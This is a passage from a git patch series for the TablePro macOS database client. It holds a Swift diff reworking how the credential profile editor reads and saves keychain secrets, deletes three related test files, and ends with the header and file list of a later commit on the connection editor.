!focused { commit() } + } + .onChange(of: text) { newValue in + draft.resync(to: newValue) + } + .onAppear { + draft.resync(to: text) + } + .onDisappear(perform: commit) + } + + private func resolve(_ candidate: String) -> SettingsDraftResolution { + validate(candidate) == nil ? .accept(normalize(candidate)) : .revert + } + + private func commit() { + if let committed = draft.commit(to: text, resolve: resolve) { + text = committed + } + draft.settle(to: text) + } +} diff --git a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift index a8e3950c5e..a7b87f66f0 100644 --- a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift +++ b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift @@ -6,12 +6,15 @@ import SwiftUI import TableProPluginKit +/// One credential profile: the name every connection picks it by, the username, and where the +/// password comes from. struct CredentialProfileEditorSheet: View { @Environment(\.dismiss) private var dismiss let existingProfile: CredentialProfile? var initialPassword: String? - // Which engine's secrets to offer first, so a profile promoted from a Postgres connection opens on Postgres. + /// Which engine's secrets to offer first, so a profile promoted from a Postgres connection + /// does not open on MySQL's fields. var initialDatabaseType: DatabaseType? var onSave: ((CredentialProfile) -> Void)? var onDelete: (() -> Void)? @@ -19,7 +22,7 @@ struct CredentialProfileEditorSheet: View { @State private var name: String = "" @State private var username: String = "" @State private var passwordKind: PasswordKind = .stored - @State private var password = StoredSecretDraft(stored: .absent) + @State private var password: String = "" @State private var passwordWasPrefilled = false @State private var sourceKind: PasswordSourceKind = .file @State private var sourceValue: String = "" @@ -28,22 +31,23 @@ struct CredentialProfileEditorSheet: View { @State private var vaultAccess = VaultAccessDraft() // A new profile keeps this id when saved, so its first connect signs in as the user Test Source leased. @State private var draftProfileId = UUID() - @State private var savedSortOrder: Int? - @State private var secretTypes: [DatabaseType] = [] @State private var secureFieldType: DatabaseType = .mysql - @State private var secretLayout = ProfileSecretLayout(fields: []) - @State private var secretMethod: String? - @State private var secureFieldDrafts: [String: StoredSecretDraft] = [:] - @State private var secureFieldLabels: [String: String] = [:] + @State private var secureFieldValues: [String: String] = [:] @State private var showingDeleteConfirmation = false @State private var dependentCount = 0 @State private var saveError: String? - // Read once on appear: body reads these several times a pass and each read decoded the profiles file. + /// Read once when the sheet opens. `body` reads `nameIsUnique` and `isStored` several times per + /// pass, and each one used to decode the whole profiles file off disk, on every keystroke. @State private var otherProfileNames: [String] = [] @State private var isStored = false + @State private var secureFields: [ConnectionField] = [] + /// False when a keychain read failed rather than finding nothing. Saving then must not + /// treat an empty field as the user clearing a secret: a rename while the keychain was + /// locked would delete the password of every connection on the profile. + @State private var secretsWereReadable = true private var storage: CredentialProfileStorage { .shared } @@ -62,7 +66,8 @@ struct CredentialProfileEditorSheet: View { passwordKind == .source && sourceKind.suppliesUsername } - // Two profiles with one name cannot be told apart in any picker that offers them. + /// Two profiles with one name are indistinguishable in every picker that offers them, which is + /// the reason the system's own profile editors refuse it. private var nameIsUnique: Bool { !otherProfileNames.contains { $0.compare(trimmedName, options: [.caseInsensitive, .diacriticInsensitive]) == .orderedSame @@ -71,14 +76,6 @@ struct CredentialProfileEditorSheet: View { var body: some View { VStack(spacing: 0) { - ProfileSheetHeader( - title: isStored - ? String(localized: "Edit Credential Profile") - : String(localized: "New Credential Profile"), - subtitle: String(localized: "Connections that use this profile sign in with these credentials.") - ) - Divider() - Form { Section(String(localized: "Profile")) { TextField(String(localized: "Name"), text: $name, prompt: Text("Production reader")) @@ -96,6 +93,14 @@ struct CredentialProfileEditorSheet: View { .accessibilityIdentifier("credential-profile-username") } + if !secretsWereReadable { + Section { + NoticeLabel( + String(localized: "The Keychain could not be read, so the stored secrets are not shown. Editing the name is safe; they are left as they are.") + ) + .font(.caption) + } + } passwordSection secureFieldsSection } @@ -104,7 +109,7 @@ struct CredentialProfileEditorSheet: View { Divider() bottomBar } - .frame(minWidth: 520, minHeight: 460, idealHeight: 540) + .frame(minWidth: 480, minHeight: 420, idealHeight: 460) .onAppear(perform: load) } @@ -124,10 +129,9 @@ struct CredentialProfileEditorSheet: View { case .stored: RevealablePasswordField( title: String(localized: "Password"), - text: $password.text, + text: $password, requiresAuthentication: passwordWasPrefilled ) - StoredSecretNotice(draft: $password) case .prompt: Text("Every connection using this profile asks for the password once each time TablePro runs.") .font(.caption) @@ -297,32 +301,18 @@ struct CredentialProfileEditorSheet: View { private var secureFieldsSection: some View { Section { Picker(String(localized: "For"), selection: $secureFieldType) { - ForEach(secretTypes, id: \.self) { type in - Text(type.displayName).tag(type) + ForEach(DatabaseType.allKnownTypes, id: \.self) { type in + Text(type.rawValue).tag(type) } } .onChange(of: secureFieldType) { _ in reloadSecureFields() } - - if let methodField = secretLayout.methodField { - Picker(methodField.label, selection: $secretMethod) { - ForEach(secretLayout.methods) { method in - Text(method.label).tag(String?.some(method.value)) - } - } - .accessibilityIdentifier("credential-profile-secret-method") - } - - let shown = secretLayout.fields(for: secretMethod) - if shown.isEmpty { - Text(secretLayout.methodField == nil - ? String(localized: "This database type signs in with the username and password above.") - : String(localized: "Nothing else to store for this sign-in method.")) + if secureFields.isEmpty { + Text("This database type signs in with the username and password above.") .font(.caption) .foregroundStyle(.secondary) } else { - ForEach(shown, id: \.id) { field in - ConnectionFieldRow(field: field, value: secureFieldTextBinding(for: field)) - StoredSecretNotice(draft: secureFieldDraftBinding(for: field)) + ForEach(secureFields, id: \.id) { field in + ConnectionFieldRow(field: field, value: secureFieldBinding(for: field)) } } } header: { @@ -335,42 +325,23 @@ struct CredentialProfileEditorSheet: View { } private func reloadSecureFields() { - let fields = PluginManager.shared.additionalConnectionFields(for: secureFieldType) - secretLayout = ProfileSecretLayout(fields: fields) - for field in fields where field.isSecure { - secureFieldLabels[field.id] = field.label - } - let held = Set(secureFieldDrafts.filter { $0.value.stored != .absent || !$0.value.text.isEmpty }.keys) - secretMethod = secretLayout.initialMethod(holding: held) - } - - private func secureFieldTextBinding(for field: ConnectionField) -> Binding { - Binding( - get: { secureFieldDrafts[field.id]?.text ?? "" }, - set: { secureFieldDrafts[field.id, default: StoredSecretDraft(stored: .absent)].text = $0 } - ) + secureFields = PluginManager.shared.additionalConnectionFields(for: secureFieldType).filter(\.isSecure) } - private func secureFieldDraftBinding(for field: ConnectionField) -> Binding { + private func secureFieldBinding(for field: ConnectionField) -> Binding { Binding( - get: { secureFieldDrafts[field.id] ?? StoredSecretDraft(stored: .absent) }, - set: { secureFieldDrafts[field.id] = $0 } + get: { secureFieldValues[field.id] ?? "" }, + set: { secureFieldValues[field.id] = $0 } ) } - private static func typesWithSecrets() -> [DatabaseType] { - DatabaseType.allKnownTypes - .filter { type in PluginManager.shared.additionalConnectionFields(for: type).contains(where: \.isSecure) } - .sorted { $0.displayName.localizedStandardCompare($1.displayName) == .orderedAscending } - } - // MARK: - Bottom bar private var bottomBar: some View { HStack { if isStored { Button(role: .destructive) { - dependentCount = storage.connectionsUsing(profileId).count + dependentCount = storage.connectionsUsing(existingProfile?.id ?? UUID()).count showingDeleteConfirmation = true } label: { Text("Delete Profile") @@ -381,7 +352,7 @@ struct CredentialProfileEditorSheet: View { Button(String(localized: "Cancel"), role: .cancel) {} } message: { if dependentCount > 0 { - Text("Used by ^[\(dependentCount) connection](inflect: true). Each keeps these credentials as its own.") + Text("^[\(dependentCount) connection](inflect: true) use this profile. They keep these credentials as their own.") } else { Text("This profile will be permanently deleted.") } @@ -391,7 +362,7 @@ struct CredentialProfileEditorSheet: View { if let saveError { NoticeLabel(saveError, severity: .error) .font(.caption) - .lineLimit(3) + .lineLimit(2) } Spacer() @@ -413,116 +384,93 @@ struct CredentialProfileEditorSheet: View { let profiles = storage.loadProfiles() otherProfileNames = profiles.filter { $0.id != existingProfile?.id }.map { $0.name } isStored = existingProfile.map { candidate in profiles.contains { $0.id == candidate.id } } ?? false - secretTypes = Self.typesWithSecrets() - - if let profile = existingProfile { - name = profile.name - username = profile.username - // Only a saved profile can hold an item, so a miss on a new one is not a failed read. - for fieldId in profile.secureFieldIds { - secureFieldDrafts[fieldId] = StoredSecretDraft( - stored: Self.stored(storage.loadSecureField(fieldId: fieldId, for: profile.id), expected: isStored) - ) - } - - switch profile.passwordMode { - case .stored: - passwordKind = .stored - password = StoredSecretDraft( - stored: Self.stored(storage.loadPassword(for: profile.id), expected: isStored), - fallback: initialPassword - ) - passwordWasPrefilled = !password.text.isEmpty - case .prompt: - passwordKind = .prompt - case .pgpass: - passwordKind = .pgpass - case .source(let source): - passwordKind = .source - (sourceKind, sourceValue, sourceField) = PasswordSourceKind.decompose(source) - if case .command(_, let reuseSeconds) = source { - commandReuseSeconds = reuseSeconds - } - if let role = source.vaultDatabaseRole { - vaultAccess = VaultAccessDraft(role) - } - } - } - if let initialDatabaseType { secureFieldType = initialDatabaseType - } else if let carrying = secretTypes.first(where: { type in - PluginManager.shared.additionalConnectionFields(for: type) - .contains { $0.isSecure && secureFieldDrafts[$0.id] != nil } - }) { - secureFieldType = carrying - } else if let first = secretTypes.first { - secureFieldType = first - } - if !secretTypes.contains(secureFieldType) { - secretTypes.insert(secureFieldType, at: 0) } reloadSecureFields() - } - // The storage reads nil both for a missing item and for one it could not read; a saved one is assumed there. - private static func stored(_ value: String?, expected: Bool) -> StoredSecretDraft.Stored { - guard let value else { return expected ? .unreadable : .absent } - return value.isEmpty ? .absent : .value(value) + guard let profile = existingProfile else { return } + name = profile.name + username = profile.username + for fieldId in profile.secureFieldIds { + if let value = storage.loadSecureField(fieldId: fieldId, for: profile.id) { + secureFieldValues[fieldId] = value + } else { + secretsWereReadable = false + } + } + + switch profile.passwordMode { + case .stored: + passwordKind = .stored + if let stored = storage.loadPassword(for: profile.id) { + password = stored + } else if let initialPassword { + password = initialPassword + } else if isStored { + secretsWereReadable = false + } + passwordWasPrefilled = !password.isEmpty + case .prompt: + passwordKind = .prompt + case .pgpass: + passwordKind = .pgpass + case .source(let source): + passwordKind = .source + (sourceKind, sourceValue, sourceField) = PasswordSourceKind.decompose(source) + if case .command(_, let reuseSeconds) = source { + commandReuseSeconds = reuseSeconds + } + if let role = source.vaultDatabaseRole { + vaultAccess = VaultAccessDraft(role) + } + } } - // Record first, then secrets, as the connection editor saves: a secret under an unsaved id has no owner. private func saveProfile() { - let passwordChange = password.change(inUse: passwordKind == .stored) - let fieldIds = secureFieldDrafts.keys.sorted() + let liveFields = secureFieldValues.filter { !$0.value.isEmpty } let profile = CredentialProfile( id: profileId, name: trimmedName, username: username.trimmingCharacters(in: .whitespaces), passwordMode: buildPasswordMode(), - secureFieldIds: fieldIds.filter { secureFieldDrafts[$0]?.keepsItem(inUse: true) ?? false }, - sortOrder: existingProfile?.sortOrder ?? savedSortOrder ?? 0 + secureFieldIds: secretsWereReadable + ? liveFields.keys.sorted() + : Array(Set(existingProfile?.secureFieldIds ?? []).union(liveFields.keys)).sorted(), + sortOrder: existingProfile?.sortOrder ?? 0 ) let persisted = isStored ? storage.updateProfile(profile) : storage.addProfile(profile) + /// The keychain writes below are keyed by the profile id, so running them for a profile + /// that never reached disk would leave secrets nothing can name. guard persisted else { saveError = String(localized: "Could not save the profile. Check disk space and permissions, then try again.") return } - if !isStored { - isStored = true - savedSortOrder = storage.profile(for: profileId)?.sortOrder - } + saveError = nil - var notStored: [String] = [] - switch passwordChange { - case .keep: - break - case .write(let value): - if !storage.savePassword(value, for: profileId) { - notStored.append(String(localized: "the password")) + if case .stored = profile.passwordMode, !password.isEmpty { + guard storage.savePassword(password, for: profileId) else { + saveError = String(localized: "Could not save the password to the Keychain. Nothing was changed.") + return } - case .delete: + } else if secretsWereReadable { storage.deletePassword(for: profileId) } - for fieldId in fieldIds { - switch secureFieldDrafts[fieldId]?.change(inUse: true) ?? .keep { - case .keep: - continue - case .write(let value): - if !storage.saveSecureField(value, fieldId: fieldId, for: profileId) { - notStored.append(secureFieldLabels[fieldId] ?? fieldId) - } - case .delete: + + /// Only what was read back is eligible for deletion. A field whose value could not be read + /// is still there and still in use. + if secretsWereReadable { + let removed = Set(existingProfile?.secureFieldIds ?? []).subtracting(liveFields.keys) + for fieldId in removed { storage.deleteSecureField(fieldId: fieldId, for: profileId) } } - - guard notStored.isEmpty else { - saveError = StoredSecretCopy.notStoredMessage(notStored) + for (fieldId, value) in liveFields where !storage.saveSecureField(value, fieldId: fieldId, for: profileId) { + saveError = String(localized: "Could not save a secret to the Keychain. Nothing was changed.") return } - saveError = nil + onSave?(profile) dismiss() } @@ -554,7 +502,7 @@ struct CredentialProfileEditorSheet: View { } private func deleteProfile() { - guard let profile = existingProfile ?? storage.profile(for: profileId) else { return } + guard let profile = existingProfile else { return } guard storage.deleteProfile(profile) else { saveError = String(localized: "Could not delete the profile. Check disk space and permissions, then try again.") return @@ -567,7 +515,6 @@ struct CredentialProfileEditorSheet: View { // MARK: - Kinds extension CredentialProfileEditorSheet { - // Same words as the connection editor's password menu. enum PasswordKind: String, CaseIterable, Identifiable { case stored, prompt, pgpass, source @@ -575,76 +522,11 @@ extension CredentialProfileEditorSheet { var displayName: String { switch self { - case .stored: String(localized: "Store in Keychain") - case .prompt: String(localized: "Ask Every Time") - case .pgpass: String(localized: "Use ~/.pgpass") - case .source: String(localized: "Read From Elsewhere") - } - } - } -} - -// Profiles carry no database type, so the sheet lists one type's secrets at a time, and the ones a -// sign-in method needs (AWS, Google Cloud, Kerberos) only under that method, as the editor shows them. -struct ProfileSecretLayout { - struct Method: Identifiable { - let value: String - let label: String - var id: String { value } - } - - let alwaysShown: [ConnectionField] - let methodField: ConnectionField? - let methods: [Method] - private let byMethod: [String: [ConnectionField]] - - init(fields: [ConnectionField]) { - let secure = fields.filter(\.isSecure) - var counts: [String: Int] = [:] - var order: [String] = [] - for controllerId in secure.compactMap({ $0.visibleWhen?.fieldId }) { - if counts[controllerId] == nil { order.append(controllerId) } - counts[controllerId, default: 0] += 1 - } - let controllerId = order.max { (counts[$0] ?? 0) < (counts[$1] ?? 0) } - guard let controllerId, - let controller = fields.first(where: { $0.id == controllerId }), - case .dropdown(let options) = controller.fieldType - else { - alwaysShown = secure - methodField = nil - methods = [] - byMethod = [:] - return - } - - alwaysShown = secure.filter { $0.visibleWhen?.fieldId != controllerId } - methodField = controller - methods = options.map { Method(value: $0.value, label: $0.label) } - var grouped: [String: [ConnectionField]] = [:] - for option in options { - grouped[option.value] = secure.filter { field in - guard let rule = field.visibleWhen, rule.fieldId == controllerId else { return false } - return rule.values.contains(option.value) + case .stored: String(localized: "Saved in the Keychain") + case .prompt: String(localized: "Ask every time") + case .pgpass: String(localized: "~/.pgpass") + case .source: String(localized: "Read from elsewhere") } } - byMethod = grouped - } - - func fields(for method: String?) -> [ConnectionField] { - alwaysShown + (method.flatMap { byMethod[$0] } ?? []) - } - - // The method whose secrets the profile already holds, else the menu's own default. - func initialMethod(holding fieldIds: Set) -> String? { - guard let methodField else { return nil } - let holding = methods.first { method in - (byMethod[method.value] ?? []).contains { fieldIds.contains($0.id) } - } - if let holding { return holding.value } - if let fallback = methodField.defaultValue, methods.contains(where: { $0.value == fallback }) { - return fallback - } - return methods.first?.value } } diff --git a/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift b/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift deleted file mode 100644 index 5f1693f036..0000000000 --- a/apple/TableProTests/Core/Storage/SSHProfileSecretSaveTests.swift +++ /dev/null @@ -1,147 +0,0 @@ -// -// SSHProfileSecretSaveTests.swift -// TableProTests -// - -import Foundation -import TableProSSHConfig -import TableProSyncTransport -import Testing - -@testable import TablePro - -// The SSH profile sheet saves through `SSHProfileStorage.save`: record first, then each secret as its draft says. -@MainActor -struct SSHProfileSecretSaveTests { - private let pool = EphemeralDefaultsPool() - private let keychain = ScopeRecordingKeychain() - private let metadata: SyncMetadataStorage - private let connections: ConnectionStorage - private let storage: SSHProfileStorage - - init() throws { - let fileURL = FileManager.default.temporaryDirectory - .appendingPathComponent("tablepro-tests") - .appendingPathComponent(UUID().uuidString) - .appendingPathComponent("connections.json") - try? FileManager.default.createDirectory( - at: fileURL.deletingLastPathComponent(), - withIntermediateDirectories: true - ) - metadata = SyncMetadataStorage(userDefaults: try pool.make().defaults) - let tracker = SyncChangeTracker(metadataStorage: metadata) - let connectionStorage = ConnectionStorage( - fileURL: fileURL, - userDefaults: try pool.make().defaults, - syncTracker: tracker, - keychain: keychain - ) - connections = connectionStorage - storage = SSHProfileStorage( - userDefaults: try pool.make().defaults, - keychain: keychain, - syncTracker: tracker, - connectionStorage: connectionStorage - ) - } - - private static func passwordKey(_ id: UUID) -> String { "com.TablePro.sshprofile.password.\(id.uuidString)" } - private static func passphraseKey(_ id: UUID) -> String { "com.TablePro.sshprofile.keypassphrase.\(id.uuidString)" } - private static func totpKey(_ id: UUID) -> String { "com.TablePro.sshprofile.totpsecret.\(id.uuidString)" } - - private func makeProfile(authMethod: SSHAuthMethod = .password) -> SSHProfile { - SSHProfile(name: "Bastion", host: "bastion.example.com", port: 22, username: "deploy", authMethod: authMethod) - } - - private func drafts(for id: UUID) -> [SSHProfileStorage.SecretKind: StoredSecretDraft] { - var drafts: [SSHProfileStorage.SecretKind: StoredSecretDraft] = [:] - for kind in SSHProfileStorage.SecretKind.allCases { - drafts[kind] = StoredSecretDraft(stored: storage.storedSecret(kind, for: id)) - } - return drafts - } - - @Test("A locked Keychain reads as unreadable, a missing item as absent") - func storedSecretTellsLockedFromMissing() { - let profile = makeProfile() - #expect(storage.storedSecret(.password, for: profile.id) == .absent) - - keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) - #expect(storage.storedSecret(.password, for: profile.id) == .value("hunter2")) - - keychain.makeUnreadable(Self.passwordKey(profile.id)) - #expect(storage.storedSecret(.password, for: profile.id) == .unreadable) - } - - @Test("Renaming a profile while the Keychain is locked keeps every secret") - func lockedKeychainRenameKeepsSecrets() { - var profile = makeProfile(authMethod: .privateKey) - #expect(storage.addProfile(profile)) - keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) - keychain.seedSynced("phrase", forKey: Self.passphraseKey(profile.id)) - keychain.seedSynced("BASE32", forKey: Self.totpKey(profile.id)) - for key in [Self.passwordKey(profile.id), Self.passphraseKey(profile.id), Self.totpKey(profile.id)] { - keychain.makeUnreadable(key) - } - - let loaded = drafts(for: profile.id) - profile.name = "Bastion EU" - let outcome = storage.save(profile, isNew: false, secrets: [ - .password: loaded[.password]?.change(inUse: false) ?? .keep, - .keyPassphrase: loaded[.keyPassphrase]?.change(inUse: true) ?? .keep, - .totpSecret: loaded[.totpSecret]?.change(inUse: false) ?? .keep, - ]) - - #expect(outcome == .saved) - #expect(storage.profile(for: profile.id)?.name == "Bastion EU") - #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == "hunter2") - #expect(keychain.syncedValue(forKey: Self.passphraseKey(profile.id)) == "phrase") - #expect(keychain.syncedValue(forKey: Self.totpKey(profile.id)) == "BASE32") - } - - @Test("Remove deletes a secret the Keychain could not read") - func removeDeletesAnUnreadableSecret() { - let profile = makeProfile() - #expect(storage.addProfile(profile)) - keychain.seedSynced("hunter2", forKey: Self.passwordKey(profile.id)) - keychain.makeUnreadable(Self.passwordKey(profile.id)) - - var password = StoredSecretDraft(stored: storage.storedSecret(.password, for: profile.id)) - password.removesUnreadable = true - - #expect(storage.save(profile, isNew: false, secrets: [.password: password.change(inUse: true)]) == .saved) - #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == nil) - } - - @Test("A refused Keychain write is reported after the record is saved") - func refusedWriteIsReported() { - let profile = makeProfile() - keychain.failWrites(to: Self.passwordKey(profile.id)) - - let outcome = storage.save(profile, isNew: true, secrets: [ - .password: .write("hunter2"), - .totpSecret: .write("BASE32"), - ]) - - #expect(outcome == .secretsNotSaved([.password])) - #expect(storage.profile(for: profile.id) != nil) - #expect(keychain.syncedValue(forKey: Self.totpKey(profile.id)) == "BASE32") - } - - @Test("Nothing reaches the Keychain when the record could not be saved") - func noSecretsWithoutARecord() throws { - let defaults = try pool.make().defaults - defaults.set(Data("not json".utf8), forKey: "com.TablePro.sshProfiles") - let corrupted = SSHProfileStorage( - userDefaults: defaults, - keychain: keychain, - syncTracker: SyncChangeTracker(metadataStorage: metadata), - connectionStorage: connections - ) - _ = corrupted.loadProfiles() - let profile = makeProfile() - - #expect(corrupted.save(profile, isNew: true, secrets: [.password: .write("hunter2")]) == .recordNotSaved) - #expect(keychain.syncedValue(forKey: Self.passwordKey(profile.id)) == nil) - } -} diff --git a/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift b/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift deleted file mode 100644 index c215c044a4..0000000000 --- a/apple/TableProTests/Core/Storage/StoredSecretDraftTests.swift +++ /dev/null @@ -1,69 +0,0 @@ -// -// StoredSecretDraftTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -struct StoredSecretDraftTests { - @Test("A Keychain read that failed is unreadable, never absent") - func failedReadsAreUnreadable() { - let failures: [KeychainStringResult] = [.locked, .userCancelled, .authFailed, .error(-25_308)] - for result in failures { - #expect(StoredSecretDraft.Stored(result) == .unreadable) - } - #expect(StoredSecretDraft.Stored(.notFound) == .absent) - #expect(StoredSecretDraft.Stored(.found("")) == .absent) - #expect(StoredSecretDraft.Stored(.found("hunter2")) == .value("hunter2")) - } - - @Test("An unreadable secret left empty is kept, whether or not the method still uses it") - func unreadableSecretIsKept() { - let draft = StoredSecretDraft(stored: .unreadable) - #expect(draft.text.isEmpty) - #expect(draft.showsUnreadableNotice) - #expect(draft.change(inUse: true) == .keep) - #expect(draft.change(inUse: false) == .keep) - #expect(draft.keepsItem(inUse: true)) - } - - @Test("Remove is the only way an unreadable secret is deleted") - func removeDeletesAnUnreadableSecret() { - var draft = StoredSecretDraft(stored: .unreadable) - draft.removesUnreadable = true - #expect(draft.change(inUse: true) == .delete) - #expect(draft.change(inUse: false) == .delete) - #expect(!draft.keepsItem(inUse: true)) - } - - @Test("Typing over an unreadable secret writes the new value") - func typingReplacesAnUnreadableSecret() { - var draft = StoredSecretDraft(stored: .unreadable) - draft.text = "rotated" - #expect(!draft.showsUnreadableNotice) - #expect(draft.change(inUse: true) == .write("rotated")) - } - - @Test("A readable secret is kept unchanged, deleted when cleared or no longer used") - func readableSecretFollowsTheField() { - var draft = StoredSecretDraft(stored: .value("hunter2")) - #expect(draft.text == "hunter2") - #expect(draft.change(inUse: true) == .keep) - #expect(draft.change(inUse: false) == .delete) - - draft.text = "" - #expect(draft.change(inUse: true) == .delete) - #expect(!draft.showsUnreadableNotice) - } - - @Test("A value carried over from the inline tunnel is written to a new profile") - func fallbackIsWrittenWhenNothingIsStored() { - let draft = StoredSecretDraft(stored: .absent, fallback: "inline") - #expect(draft.change(inUse: true) == .write("inline")) - #expect(StoredSecretDraft(stored: .absent).change(inUse: true) == .keep) - #expect(!StoredSecretDraft(stored: .absent).keepsItem(inUse: true)) - } -} diff --git a/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift b/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift deleted file mode 100644 index eb1d8c2cba..0000000000 --- a/apple/TableProTests/Views/Settings/Profiles/ProfileSecretLayoutTests.swift +++ /dev/null @@ -1,89 +0,0 @@ -// -// ProfileSecretLayoutTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro -import TableProPluginKit - -// A credential profile has no database type, so its sheet shows one type's secrets at a time and keeps the ones a -// sign-in method needs under that method instead of listing AWS, Google Cloud and Kerberos keys for every engine. -struct ProfileSecretLayoutTests { - private static let methodPicker = ConnectionField( - id: "signIn", - label: "Authentication", - defaultValue: "off", - fieldType: .dropdown(options: [ - .init(value: "off", label: "Password"), - .init(value: "accessKey", label: "Access Key"), - .init(value: "kerberos", label: "Kerberos"), - ]), - section: .authentication - ) - - private static func secret(_ id: String, when values: [String]? = nil, controller: String = "signIn") -> ConnectionField { - ConnectionField( - id: id, - label: id, - secure: true, - section: .authentication, - visibleWhen: values.map { FieldVisibilityRule(fieldId: controller, values: $0) } - ) - } - - private static let fields = [ - methodPicker, - secret("apiKey"), - secret("secretAccessKey", when: ["accessKey"]), - secret("sessionToken", when: ["accessKey"]), - secret("kerberosPassword", when: ["kerberos"]), - ] - - @Test("The default sign-in method shows only the secrets every method needs") - func defaultMethodHidesMethodSecrets() { - let layout = ProfileSecretLayout(fields: Self.fields) - let method = layout.initialMethod(holding: []) - - #expect(layout.methodField?.id == "signIn") - #expect(method == "off") - #expect(layout.fields(for: method).map { $0.id } == ["apiKey"]) - } - - @Test("Picking a method adds that method's secrets and no other") - func methodShowsItsOwnSecrets() { - let layout = ProfileSecretLayout(fields: Self.fields) - - #expect(layout.fields(for: "accessKey").map { $0.id } == ["apiKey", "secretAccessKey", "sessionToken"]) - #expect(layout.fields(for: "kerberos").map { $0.id } == ["apiKey", "kerberosPassword"]) - #expect(layout.methods.map { $0.value } == ["off", "accessKey", "kerberos"]) - } - - @Test("A profile holding a method's secret opens on that method") - func heldSecretPicksItsMethod() { - let layout = ProfileSecretLayout(fields: Self.fields) - #expect(layout.initialMethod(holding: ["kerberosPassword"]) == "kerberos") - } - - @Test("Secrets gated by something other than a menu are listed directly") - func nonMenuGateListsEverything() { - let toggle = ConnectionField(id: "useToken", label: "Use Token", fieldType: .toggle) - let layout = ProfileSecretLayout(fields: [toggle, Self.secret("token", when: ["true"], controller: "useToken")]) - - #expect(layout.methodField == nil) - #expect(layout.initialMethod(holding: []) == nil) - #expect(layout.fields(for: nil).map { $0.id } == ["token"]) - } - - @Test("PostgreSQL's cloud and Kerberos secrets sit behind its Authentication menu") - func postgresSignInSecretsAreGrouped() { - let layout = ProfileSecretLayout(fields: KerberosAuthFields.standardWithAWSAndGoogleCloud()) - let method = layout.initialMethod(holding: []) - - #expect(layout.methodField?.id == "awsAuth") - #expect(layout.fields(for: method).isEmpty) - #expect(layout.fields(for: KerberosAuthFields.method).map { $0.id } == [KerberosAuthFields.passwordFieldId]) - } -} From 8830d897576f4d1ede3d36e35883d9a7b538ba5f Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Sun, 22 Nov 2026 20:55:41 +0700 Subject: [PATCH 03/13] wip(connection-editor): wave 2 sidebar shell and facet views --- apple/TablePro/AppDelegate.swift | 2 +- .../Database/DatabaseManager+Queries.swift | 6 +- .../ConnectionRecoveryPerformer.swift | 3 +- .../Infrastructure/WindowOpener.swift | 10 +- .../Connection/ConnectionURLFormatter.swift | 6 +- .../TransientConnectionFactory.swift | 9 +- .../Connection/ConnectionTestResult.swift | 4 +- .../ConnectionFormWindowController.swift | 75 ---- .../ConnectionEditorEngine+Layout.swift | 11 +- .../Facets/AIAndMCPFacetView.swift | 97 +++++ .../Facets/AdvancedAttachedDatabaseRows.swift | 144 +++++++ .../Facets/AdvancedExtensionRows.swift | 177 +++++++++ .../Facets/AdvancedFacetView.swift | 139 +++++++ .../Facets/AdvancedListEntry.swift | 64 ++++ .../Facets/AppearanceFacetView.swift | 108 ++++++ .../Facets/GeneralAuthenticationRows.swift | 300 +++++++++++++++ .../Facets/GeneralConnectionRows.swift | 189 +++++++++ .../Facets/GeneralFacetView.swift | 189 +++++++++ .../Facets/Rows/EditorCodeEditor.swift | 171 +++++++++ .../Facets/Rows/EditorOptionalNumberRow.swift | 135 +++++++ .../Facets/Rows/EditorPathRow.swift | 185 +++++++++ .../Facets/Rows/EditorRowLabel.swift | 78 ++++ .../Facets/Rows/EditorTextRow.swift | 65 ++++ .../Facets/Rows/PluginFieldRow.swift | 179 +++++++++ .../Facets/SSHAndProxiesFacetView.swift | 297 +++++++++++++++ .../Facets/SSHAndProxiesJumpHostRows.swift | 174 +++++++++ .../Facets/SSHAndProxiesSSHRows.swift | 278 ++++++++++++++ .../ConnectionForm/Facets/SSLFacetView.swift | 189 +++++++++ .../Facets/SafeModeFacetView.swift | 146 +++++++ .../Facets/StartupFacetView.swift | 70 ++++ .../Facets/TransportCommandRows.swift | 79 ++++ .../Facets/TransportProxyRows.swift | 317 ++++++++++++++++ .../Shell/ConnectionEditorCloseGuard.swift | 62 +++ .../Shell/ConnectionEditorCommitBar.swift | 217 +++++++++++ ...ConnectionEditorDetailViewController.swift | 107 ++++++ .../Shell/ConnectionEditorPresentations.swift | 132 +++++++ .../ConnectionEditorRecordMissingView.swift | 23 ++ ...onnectionEditorSidebarViewController.swift | 238 ++++++++++++ .../ConnectionEditorSplitViewController.swift | 56 +++ .../Shell/ConnectionEditorToolbar.swift | 51 +++ .../ConnectionEditorViewController.swift | 56 +++ .../ConnectionEditorWindowController.swift | 308 +++++++++++++++ .../Shell/ConnectionEditorWindowFrame.swift | 67 ++++ .../Store/ConnectionEditorStore+Options.swift | 39 ++ .../ConnectionEditorStore+SSHAndProxies.swift | 44 +++ .../Store/ConnectionEditorStore+Test.swift | 2 +- .../Toolbar/ConnectionSwitcherPopover.swift | 9 +- .../Infrastructure/WindowOpenerTests.swift | 6 +- .../ConnectionURLEnvironmentTests.swift | 62 +++ .../ConnectionEditorEngineFacetTests.swift | 5 +- .../Shell/ConnectionEditorWindowTests.swift | 358 ++++++++++++++++++ .../ConnectionEditorStoreOptionsTests.swift | 57 +++ ...nectionEditorStoreSSHAndProxiesTests.swift | 58 +++ .../Store/ConnectionEditorStoreTests.swift | 2 +- 54 files changed, 5748 insertions(+), 107 deletions(-) delete mode 100644 apple/TablePro/Views/ConnectionForm/ConnectionFormWindowController.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift create mode 100644 apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift create mode 100644 